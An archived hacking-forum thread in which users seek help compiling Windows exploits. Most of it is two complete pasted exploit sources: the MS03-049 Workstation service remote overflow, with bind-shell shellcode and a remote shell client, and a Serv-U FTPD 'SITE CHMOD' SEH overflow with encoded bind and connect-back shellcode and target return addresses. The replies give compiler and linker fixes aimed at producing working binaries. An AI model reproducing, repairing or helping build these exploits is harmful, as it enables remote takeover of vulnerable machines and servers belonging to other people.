Full Version:
Compiling Prob
detonator
Dec 9 2003, 10:53 PM
hi guys
i have a big problem with my compiler bloodshed-Dev-C++
i tried to compile the findjmp.c
there stand
__try and
__except both were bold so it must be a keyword i think even if i just know try without __
but when compiling it comes : __try: first use of this function
same with _except
without the __ this are no keywords anymore and i get the same error
what can i do ?
greetz
archphase
Dec 10 2003, 06:44 AM
QUOTE (detonator @ Dec 9 2003, 10:53 PM) hi guys i have a big problem with my compiler bloodshed-Dev-C++ i tried to compile the findjmp.c there stand __try and __except both were bold so it must be a keyword i think even if i just know try without __ but when compiling it comes : __try: first use of this function same with _except without the __ this are no keywords anymore and i get the same error what can i do ? greetz
__try, __except, __catch, __finially are all special error handling routines (SEH) and I don't think LCC follows BC++ or VC++ convention or doesn't conform, so you'd have to use GNUS way which is like _try I believe, BC++ supports try, _try, __try, so use it.
troubleshooter
Dec 14 2003, 11:02 PM
Greetings! I'm newbie here, and since I can't start a post, I have to pu this thread here! I tried to compile the latest exploit microsoft windows XP has on my Visual C++ compiler... however, it returns one error that I can't get it!! here goes the code I pasted there, and the compiling result: /* To build new netapi32.lib pedump /exp netapi32.dll > netapi32.exp buildlib netapi32.exe netapi32.exp netapi32.lib netapi32.dll d:\>rpc_wks_bo.exe WKS service remote exploit MS03-049 by fiNis (fiNis[at]bk[dot]ru), ver:0.1.1 ------------------------------------------------------------------- Usage: rpc_wks_bo.exe [-ht] -h <IP> : Target IP -t <Type> : Target type (-t0 for a list) d:\>rpc_wks_bo.exe -t0 Possible targets are: ============================ 1) Window XP Pro + SP0 [Rus] 2) Window XP Pro + SP1 [Rus] 3) Crash all d:\>rpc_wks_bo.exe -h 192.168.100.7 -t1 [+] Prepare exploit string [+] Sleep at 2s ... [+] Setting up IPC$ session... [+] IPC$ session setup successfully! [+] Sending exploit ... [+] Initialize WSAStartup - OK [+] Socket initialized - OK [+] Try connecting to 192.168.100.7:9191 ... [*] Connected to shell at 192.168.100.7:9191 Microsoft Windows XP [Версия 5.1.2600] (С) Корпорация Майкрософт, 1985-2001. C:\WINDOWS\system32> */ /**************** Public version *****************/ #include <stdio.h> #include <io.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <windows.h> #include <process.h> #pragma lib <ws2_32.lib> #pragma lib <netapi32.lib> #pragma lib <mpr.lib> #define RECVTIMEOUT 1 #define VER "0.1.4" extern char getopt(int,char **,char*); extern char *optarg; // ------------------------------------------------ void NetAddAlternateComputerName(wchar_t *Server, wchar_t *AlternateName, wchar_t * DomainAccount, wchar_t *DomainAccountPassword, unsigned int Reserved); void send_exp(); // ----------Lamers buff =) ---------------------------- char expl[3000]; wchar_t expl_uni[6000]; char tgt_net[30]; wchar_t tgt_net_uni[60]; char ipc[30]; // ----------------------------------------------------- struct { char *os; long jmpesp; } targets[] = { { "Window XP + SP0 [Rus] ", 0x77f5801c }, // 0x77d6754a(user32.dll) { "Window XP + SP0 + Rollup [Rus] ", 0x77f98db7 }, //0x77d639ab-work 0x77fb59cc - sp1 { "Window XP + SP1 [Rus] ", 0x77fb59cc }, { "Window XP + SP1 + Rollup [Rus] ", 0x77f9980f }, // 0x77d637db(user32.dll) { "Crash all ", 0x41424344 } }, tgt_type; unsigned char shellcode[] = // bind shell at 9191 port (484 bytes) // ripped =) "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33" "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C" "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE" "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB" "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77" "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77" "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77" "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77" "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77" "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77" "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77" "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77" "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77" "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB" "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C" "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0" "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77" "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0" "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB" "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5" "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98" "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE" "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77" "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8" "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF" "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90" "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74" "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4" "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94" "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5" "\xD3\x4A\x8C\x88"; /***************************************************************/ void banner() { printf("\nWKS service remote exploit by fiNis (fiNis[at]bk[dot]ru), ver:%s\n",VER); printf( "downloaded on www.K-OTIK.com\n"); printf( "-------------------------------------------------------------------\n"); } void showtargets() { int i; printf("Possible targets are:\n"); printf("============================\n"); for (i=0;i<sizeof(targets)/sizeof(tgt_type);i++) { printf("%d) %s\n",i+1,targets[i].os); } exit(1); } void usage(char *prog) { banner(); printf("Usage: %s [-ht]\n", prog); printf("\t-h <IP> : Target IP\n"); printf("\t-t <Type> : Target type (-t0 for a list)\n"); exit(1); } /***************************************************************/ long gimmeip(char *hostname) { struct hostent *he; long ipaddr; if ((ipaddr = inet_addr(hostname)) < 0) { if ((he = gethostbyname(hostname)) == NULL) { printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname); WSACleanup(); exit(1); } memcpy(&ipaddr, he->h_addr, he->h_length); } return ipaddr; } // ************************************* CMD ***************************** /* * Ripped from TESO code and modifed by ey4s for win32 */ void cmdshell2(int sock) { int l; char buf[1000]; struct timeval time; unsigned long ul[2]; time.tv_sec=RECVTIMEOUT; time.tv_usec=0; while (1) { ul[0]=1; ul[1]=sock; l=select(0,(fd_set *)&ul,NULL,NULL,&time); if(l==1) { l=recv(sock,buf,sizeof(buf),0); if (l<=0) { printf("[x] Connection closed.\n"); return; } l=write(1,buf,l); if (l<=0) { printf("[x] Connection closed.\n"); return; } } else { l=read(0,buf,sizeof(buf)); if (l<=0) { printf("[x] Connection closed.\n"); return; } l=send(sock,buf,l,0); if (l<=0) { printf("[x] Connection closed.\n"); return; } } } } /****************************************************************/ void send_exp() { NETRESOURCE _IPC_; _IPC_.lpLocalName = NULL; _IPC_.lpProvider = NULL; _IPC_.dwType = RESOURCETYPE_ANY; _IPC_.lpRemoteName = (char*)&ipc; printf("[+] Setting up IPC$ session...\n"); if (WNetAddConnection2(&_IPC_,"","",0)!=ERROR_SUCCESS) { printf("[x] Couldn't establish IPC$ connection.\n"); exit (1); } printf("[*] IPC$ session setup successfully!\n"); printf("[+] Sending exploit ...\n"); NetAddAlternateComputerName(tgt_net_uni, expl_uni ,NULL,NULL,0); // ka-a-a b0-0-0-ms // } // *************************************************************** int main(int argc,char *argv[]) { WSADATA wsdata; int sock; unsigned short port = 9191; struct sockaddr_in target; unsigned long ip; char opt; int tgt_type = 0; char *tgt_host; if (argc<2) { usage(argv[0]); } while((opt = getopt(argc,argv,"h:t:v"))!=EOF) { switch(opt) { case 'h': tgt_host = optarg; snprintf(tgt_net,127, "\\\\%s", optarg); snprintf(ipc,127, "\\\\%s\\ipc$", optarg); break; case 't': tgt_type = atoi(optarg); if (tgt_type == 0 || tgt_type > sizeof(targets) / 8) { showtargets(); } break; default: usage(argv[0]); break; } } printf("\n[+] Prepare exploit string\n"); memset(expl, 0x00, sizeof(expl)); memset(expl, 0x41, 2064); memcpy(&expl[2044], (unsigned char *) &targets[tgt_type-1].jmpesp, 4); //memcpy(&expl[2044], "BBBB", 4); memcpy(&expl[2064], shellcode, sizeof(shellcode)); // begin shellcode here memset(expl_uni, 0x00, sizeof(expl_uni)); memset(tgt_net_uni, 0x00, sizeof(tgt_net_uni)); mbstowcs(tgt_net_uni, tgt_net, sizeof(tgt_net)); switch(tgt_type) { case 1: case 3: MultiByteToWideChar(CP_ACP, 0, expl, sizeof(expl), (unsigned short *)expl_uni,sizeof(expl_uni)); // MultiByteToWideChar - 100 % work at XP+SP0+Rollup break; case 2: mbstowcs(expl_uni, expl, sizeof(expl)); // work at XP+SP1 break; default: mbstowcs(expl_uni, expl, sizeof(expl)); break; } beginthread(send_exp,0,NULL); printf("[+] Sleep at 2s ... \n"); sleep(2000); if (WSAStartup(MAKEWORD(2,0),&wsdata)!=0) { printf("[x] WSAStartup error...\n"); WSACleanup(); return 1; } printf("[+] Initialize WSAStartup - OK\n"); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { printf("[x] Socket not initialized! Exiting...\n"); WSACleanup(); return 1; } printf("[*] Socket initialized - OK\n"); ip=gimmeip(tgt_host); memset(&target, 0, sizeof(target)); target.sin_family=AF_INET; target.sin_addr.s_addr = ip; target.sin_port=htons(port); printf("[+] Try connecting to %s:%d ...\n",tgt_host,port); if(connect(sock,(struct sockaddr *)&target, sizeof(target))!=0) { printf("\n[x] Exploit failed or is Filtred. Exiting...\n"); WSACleanup(); exit(1); } printf("[*] Connected to shell at %s:%d\n\n",inet_ntoa(target.sin_addr),port); cmdshell2(sock); closesocket(sock); WSACleanup(); return 0; } __________________________________________________________________ COMPILING RESULT: __________________________________________________________________ --------------------Configuration: kotic2 - Win32 Debug-------------------- Compiling... kotic2.cpp c:\programas\microsoft visual studio\myprojects\kotic2\kotic2.cpp(328) : fatal error C1010: unexpected end of file while looking for precompiled header directive Error executing cl.exe. kotic2.exe - 1 error(s), 0 warning(s) I Can't understand what header directive he is asking!! if any of you is able to compile this, please say something!! Thanks!
Reaper527
Jan 18 2004, 04:47 PM
try turning off pre compiled headers, if your using vc++.net you just go to properties -> c/c++ -> precompiled headers. i don't know if this will fix your problem, but i had a similar problem on 1 exploit and this fixed it.
Chuckey
Jan 25 2004, 01:13 AM
Hi Guys I Too am at the same point with the errors has anyone got it to work yet plz?
Chuckey
SyN/AcK
Jan 25 2004, 03:10 AM
The first problem I can't help with, but the second I can. If you can't figure out how to turn off precompiled headers in VC, then what you need to do is create a new project, then copy the code you have into your main function. Make sure that you include "stdafx.h". This will be in by default if you start a Win32 console app, just make sure you don't compile over it. Then build stdafx.cpp, then build your project.
earthbyte
Jan 25 2004, 09:18 PM
hi, i want know where i can find libreries for c, example: <unistd.h> <syscall.h> <signal.h>, ...
nulladd
Jan 27 2004, 01:04 PM
earthbyte - what OS?
if its linux then one of the development packages should come with it
if windows then something like cygwin will have it
but this site has the files
http://handhelds.org/download/intimate/release/usr/include/ on a site note googling: "index of /" <somefile.h> is one method of finding elusive header files
SCVirus
Feb 2 2004, 11:05 PM
might as well use the same topic, im trying to compile the same thing in lcc, and im getting errors: test.c 223 undefined reference to _NetAddAlternateComputerName test.c 245 undefined reference to _optarg test.c 241 undefined reference to _getopt i thought it could be the generate new lib thing from the header, but when i tried that i didn't have the .exe so i tried making a lib from the dll only it appeared to work, but didn't change anything.
vnet576
Feb 2 2004, 11:22 PM
Its a winsock error...link ws2_32.lib to the project.
SCVirus
Feb 3 2004, 05:00 AM
isn't the _netadd one from that undocumented xp dll?
DeathDriver
Feb 3 2004, 06:31 PM
hi, i dont want to create a new thread, so i post it here: i have a problem with compiling this:
QUOTE /* *----------------------------------------------------------------------- * * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command * Remote stack buffer overflow exploit * * Copyright © 2004 HUC All Rights Reserved. * * Author : lion * : lion@cnhonker.net * : http://www.cnhonker.com * Date : 2004-01-25 * Update : 2004-02-01 v2.0 Change decode and target, can attack windows XP and win2003 now. * : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11 * Tested : Windows 2000 Server EN/GB * : + Serv-U v3.0.0.20~v4.1.0.11 * : Windows XP/2003 GB * : + Serv-U 4.x * Notice : *** Bug find by kkqq kkqq@0x557.org *** * : *** You need a valid account and a writable directory. *** * Complie : cl Servu.c * Usage : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport] *------------------------------------------------------------------------ */ #include <winsock2.h> #include <windows.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib, "ws2_32") // for bind shellcode #define BIND_OFFSET 91 // for connectback shellcode #define PORT_OFFSET 95 #define IP_OFFSET 88 #define SEH_OFFSET 0x193 //v3.0.0.20~v4.1.0.11 //#define SEH_OFFSET 0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode #define MAX_LEN 2048 #define JMP_OVER "\xeb\x06\xeb\x06" #define VERSION "2.0" struct { DWORD dwJMP; char *szDescription; }targets[] = { {0x7801D07B,"Serv-U v3.0.0.20~v4.1.0.11 ALL 2K SP3/SP4"}, //msvcrt.dll pop,pop,ret addr {0x77c22ca7,"Serv-U v3.0.0.20~v4.1.0.11 ALL XP SP1"}, //msvcrt.dll pop,pop,ret addr {0x7ffa1571,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP/2K3 ALL"}, //pop,pop,ret addr for all GB win2000 and winxp {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K ALL"}, //jmp ebx addr for all GB win2000 and winxp {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K ALL"}, //jmp ebx addr for all BG win2000 and winxp {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4"}, //setupapi.dll jmp ebx addr {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4"}, //setupapi.dll jmp ebx addr {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1"}, //winmm.dll pop,pop,ret addr // {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"}, },v; unsigned char *szSend[4]; unsigned char szCommand[MAX_LEN]; unsigned char szDirectory[0x100]; // 31 bytes decode by lion, don't change this. unsigned char decode[]= "\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43" "\x39\x3B\x75\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3"; // Shellcode start sign, use for decode, don't change this. unsigned char sc_start[]= "lion"; // Shellcode end sign, use for decode, don't change this. unsigned char sc_end[]= "li0n"; // 311 bytes bind shellcode by lion (xor with 0x93) unsigned char sc[]= "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18" "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93" "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18" "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93" "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92" "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A" "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3" "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5" "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4" "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC" "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5" "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C" "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66" "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C" "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C" "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90" "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D" "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58" "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76" "\xDA\x15\xDA\x74\xEA\x55\xEA"; // 294 bytes connectback shellcode by lion (xor with 0x93) unsigned char cbsc[]= "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18" "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93" "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18" "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93" "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92" "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93" "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53" "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA" "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A" "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2" "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C" "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6" "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA" "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E" "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5" "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA" "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A" "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A" "\x39\xF3\x74\xEA\x55\xEA"; void usage(char *p) { int i; printf( "Usage:\t%s\t<-i ip> <-t type>\n" "\t\t[-u user] [-p pass] [-d dir]\n" "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n" "[type]:\n" , p); for(i=0;i<sizeof(targets)/sizeof(v);i++) { printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription); } } /* ripped from TESO code and modifed by ey4s for win32 */ void shell (int sock) { int l; char buf[512]; struct timeval time; unsigned long ul[2]; time.tv_sec = 1; time.tv_usec = 0; while (1) { ul[0] = 1; ul[1] = sock; l = select (0, (fd_set *)&ul, NULL, NULL, &time); if(l == 1) { l = recv (sock, buf, sizeof (buf), 0); if (l <= 0) { printf ("[-] Connection closed.\n"); return; } l = write (1, buf, l); if (l <= 0) { printf ("[-] Connection closed.\n"); return; } } else { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("[-] Connection closed.\n"); return; } l = send(sock, buf, l, 0); if (l <= 0) { printf("[-] Connection closed.\n"); return; } } } } void main(int argc, char **argv) { struct sockaddr_in sa, server, client; WSADATA wsd; SOCKET s, s2, s3; int iErr, ret, len; char szRecvBuff[MAX_LEN]; int i, j, iType; int iPort=21; char *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL; char user[128], pass[128]; BOOL bCb=FALSE, bLocal=TRUE; unsigned short shport=53, shport2=0; unsigned long cbip; unsigned int timeout=5000, Reuse; char penetrate[255],cbHost2[20]; int seh_offset; printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n" "Bug find by kkqq kkqq@0x557.org, Code by lion (lion@cnhonker.net)\r\n" "Welcome to HUC website http://www.cnhonker.com\r\n\n" , VERSION); seh_offset = SEH_OFFSET; if(argc < 4) { usage(argv[0]); return; } for(i=1;i<argc;i+=2) { if(strlen(argv[i]) != 2) { usage(argv[0]); return; } // check parameter if(i == argc-1) { usage(argv[0]); return; } switch(argv[i][1]) { case 'i': ip=argv[i+1]; break; case 't': iType = atoi(argv[i+1]); break; case 'f': iPort=atoi(argv[i+1]); break; case 'p': pPass = argv[i+1]; break; case 'u': pUser=argv[i+1]; break; case 'c': cbHost=argv[i+1]; bCb=TRUE; break; case 's': shport=atoi(argv[i+1]); break; case 'd': if(argv[i+1][0] != '/') strcpy(szDirectory, "/"); strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20); if(szDirectory[strlen(szDirectory)-1] != '/') strcat(szDirectory, "/"); // correct the directory len for(j=0;j<(strlen(szDirectory)-1)%8;j++) strcat(szDirectory, "x"); //printf("%d:%s\r\n", strlen(szDirectory), szDirectory); seh_offset = seh_offset - strlen(szDirectory)+1; break; } } if((!ip) || (!user) || (!pass)) { usage(argv[0]); printf("[-] Invalid parameter.\n"); return; } if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) ) { usage(argv[0]); printf("[-] Invalid type.\n"); return; } if(iPort <0 || iPort >65535 || shport <0 || shport > 65535) { usage(argv[0]); printf("[-] Invalid port.\n"); return; } _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser); user[sizeof(user)-1]='\0'; _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass); pass[sizeof(pass)-1]='\0'; szSend[0] = user; //user szSend[1] = pass; //pass szSend[2] = penetrate; //pentrate szSend[3] = szCommand; //shellcode // Penetrate through the firewall. if(bCb && shport > 1024) { strncpy(cbHost2, cbHost, 20); for(i=0;i<strlen(cbHost); i++) { if(cbHost[i] == '.') cbHost2[i] = ','; } sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256); //printf("%s", penetrate); } else { sprintf(penetrate,"TYPE I\r\n"); } // fill the "site chmod" command strcpy(szCommand, "site chmod 777 "); // fill the directory if(szDirectory[0]) strcat(szCommand, szDirectory); // fill the egg for(i=0;i<seh_offset%8;i++) strcat(szCommand, "\x90"); //strcat(szCommand, "BBBB"); // fill the seh for(i=0;i<=(seh_offset/8)*8+0x20;i+=8) { strcat(szCommand, JMP_OVER); memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4); } // fill the decode strcat(szCommand, decode); // fill the shellcode start sign strcat(szCommand, sc_start); // fill the shellcode if(bCb) { // connectback shellcode shport2 = htons(shport)^(u_short)0x9393; cbip = inet_addr(cbHost)^0x93939393; memcpy(&cbsc[PORT_OFFSET], &shport2, 2); memcpy(&cbsc[IP_OFFSET], &cbip, 4); strcat(szCommand, cbsc); } else { // bind shellcode shport2 = htons(shport)^(u_short)0x9393; memcpy(&sc[BIND_OFFSET], &shport2, 2); strcat(szCommand, sc); } // fill the shellcode end sign strcat(szCommand, sc_end); // send end strcat(szCommand, "\r\n"); if(strlen(szCommand) >= sizeof(szCommand)) { printf("[-] stack buffer overflow.\n"); return; } // printf("send size %d:%s", strlen(szCommand), szCommand); __try { if (WSAStartup(MAKEWORD(1,1), &wsd) != 0) { printf("[-] WSAStartup error:%d\n", WSAGetLastError()); __leave; } s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("[-] Create socket failed:%d",GetLastError()); __leave; } sa.sin_family=AF_INET; sa.sin_port=htons((USHORT)iPort); sa.sin_addr.S_un.S_addr=inet_addr(ip); setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int)); iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa)); if(iErr == SOCKET_ERROR) { printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError()); __leave; } printf("[+] Connect to %s:%d success.\n", ip, iPort); if(bCb) { Sleep(500); s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); server.sin_family=AF_INET; server.sin_addr.S_un.S_addr=inet_addr(cbHost); //server.sin_addr.s_addr=INADDR_ANY; server.sin_port=htons((unsigned short)shport); setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int)); Reuse = 1; setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse)); if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR) { printf("[-] Bind port on %s:%d error.\n", cbHost, shport); printf("[-] You must run nc get the shell.\n"); bLocal = FALSE; //closesocket(s2); //__leave; } else { printf("[+] Bind port on %s:%d success.\n", cbHost, shport); listen(s2, 1); } } for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++) { memset(szRecvBuff, 0, sizeof(szRecvBuff)); iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0); if(iErr == SOCKET_ERROR) { printf("[-] Recv buffer error:%d.\n", WSAGetLastError()); __leave; } printf("[+] Recv: %s", szRecvBuff); if(szRecvBuff[0] == '5') { printf("[-] Server return a error Message.\r\n"); __leave; } iErr = send(s, szSend[i], strlen(szSend[i]),0); if(iErr == SOCKET_ERROR) { printf("[-] Send buffer error:%d.\n", WSAGetLastError()); __leave; } if(i==sizeof(szSend)/sizeof(szSend[0])-1) printf("[+] Send shellcode %d bytes.\n", iErr); else printf("[+] Send: %s", szSend[i]); } printf("[+] If you don't have a shell it didn't work.\n"); if(bCb) { if(bLocal) { printf("[+] Wait for shell...\n"); len = sizeof(client); s3 = accept(s2, (struct sockaddr*)&client, &len); if(s3 != INVALID_SOCKET) { printf("[+] Exploit success! Good luck! \n"); printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n"); shell(s3); } } } else { printf("[+] Connect to shell...\n"); Sleep(1000); s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); server.sin_family = AF_INET; server.sin_port = htons(shport); server.sin_addr.s_addr=inet_addr(ip); ret = connect(s2, (struct sockaddr *)&server, sizeof(server)); if(ret!=0) { printf("[-] Exploit seem failed.\n"); __leave; } printf("[+] Exploit success! Good luck! \n"); printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n"); shell(s2); } } __finally { if(s != INVALID_SOCKET) closesocket(s); if(s2 != INVALID_SOCKET) closesocket(s2); if(s3 != INVALID_SOCKET) closesocket(s3); WSACleanup(); } return; }
I used boarland c++ builder X and i get this error:
